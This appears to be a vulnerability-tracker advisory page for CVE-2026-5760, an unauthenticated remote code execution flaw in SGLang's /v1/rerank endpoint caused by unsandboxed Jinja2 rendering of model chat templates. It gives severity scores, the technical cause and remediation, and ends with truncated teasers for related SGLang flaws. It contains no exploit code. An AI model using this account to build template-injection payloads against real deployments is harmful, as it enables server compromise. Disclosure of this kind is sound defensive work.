EUVD-2026-23860
GHSA-2wm4-697g-pfq8
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
5DescriptionCVE.org
SGLang's reranking endpoint (/v1/rerank) achieves Remote Code Execution (RCE) when a model file containing a malcious tokenizer.chat_template is loaded, as the Jinja2 chat templates are rendered using an unsandboxed jinja2.Environment().
AnalysisAI
Remote code execution in SGLang 0.5.9's /v1/rerank endpoint allows unauthenticated attackers to execute arbitrary code by loading specially crafted model files with malicious Jinja2 templates. The vulnerability stems from unsandboxed rendering of tokenizer.chat_template fields, enabling template injection attacks. Publicly available exploit code exists (GitHub POC by Stuub). With CVSS 9.8 (AV:N/AC:L/PR:N/UI:N) and SSVC ratings of automatable with total technical impact, this represents critical risk for exposed SGLang deployments handling untrusted model files.
Technical ContextAI
SGLang is a language model serving framework that implements OpenAI-compatible API endpoints. The /v1/rerank endpoint processes model files containing tokenizer configurations, including Jinja2-formatted chat_template fields used to format conversation inputs. The vulnerability exploits CWE-94 (Improper Control of Generation of Code) by leveraging Python's jinja2.Environment() without sandboxing protections. When SGLang loads a model file with a malicious chat_template, the Jinja2 template engine executes embedded Python expressions server-side. Unlike sandboxed Jinja2 environments (which use jinja2.sandbox.SandboxedEnvironment), the unsandboxed implementation allows arbitrary attribute access and method invocation, enabling attackers to call system functions, import modules, or execute shell commands through template injection payloads. The affected CPE (cpe:2.3:a:sglang:sglang) identifies the SGLang project's core serving component, with EUVD confirming version 0.5.9 specifically vulnerable.
RemediationAI
Upgrade SGLang to a patched version that implements sandboxed Jinja2 template rendering using jinja2.sandbox.SandboxedEnvironment instead of the unsecured jinja2.Environment. Consult the SGLang project GitHub repository and CERT/CC advisory (https://www.kb.cert.org/vuls/id/915947) for specific patched release versions addressing CVE-2026-5760. If immediate patching is not feasible, implement compensating controls: restrict model file sources to cryptographically verified internal repositories only, rejecting all external or user-uploaded models; implement network segmentation to isolate SGLang instances from untrusted networks; disable the /v1/rerank endpoint if not operationally required by modifying SGLang configuration to remove reranking functionality; deploy application firewalls to inspect and block HTTP requests to /v1/rerank containing suspicious Jinja2 template syntax ({{ }}, {% %} patterns), though this risks false positives and bypass via encoding. Note that network restrictions only mitigate external exploitation-malicious insiders or compromised CI/CD pipelines can still exploit the vulnerability by introducing crafted model files. Full remediation requires upgrading to a version with secure template handling.
Remote code execution in SGLang (versions up to and including 0.5.15) allows unauthenticated attackers to run arbitrary
SGLang's multimodal generation module deserializes untrusted data with pickle.loads() over an unauthenticated ZMQ broker
SGLang's encoder parallel disaggregation system is vulnerable to unauthenticated RCE through pickle deserialization in t
Unauthenticated remote code execution in SGLang (the LLM/multimodal generation serving runtime) affecting version 5.10 a
Remote code execution in SGLang (versions up to and including 0.5.15) allows attackers to run arbitrary code on the infe
Remote code execution in SGLang (versions ≤ v0.5.15) allows attackers to achieve arbitrary code execution through the op
Unauthenticated remote code execution affects SGLang, an LLM/multimodal inference-serving framework, at version 5.10, wh
Unauthenticated remote code execution in SGLang (versions 0 through 0.5.14) arises when the expert-parallel backup subsy
Arbitrary file write in SGLang's multimodal generation runtime (version 5.10) allows a remote, unauthenticated attacker
High severity vulnerability in SGLang. SGLangs `replay_request_dump.py` contains an insecure pickle.load() without valid
SGLang versions up to and including v0.5.15 expose unauthenticated network endpoints that allow complete model weight ex
Unauthenticated credential leakage in SGLang's /server_info HTTP endpoint exposes configured API keys and SSL keyfile pa
Same weakness CWE-94 – Code Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today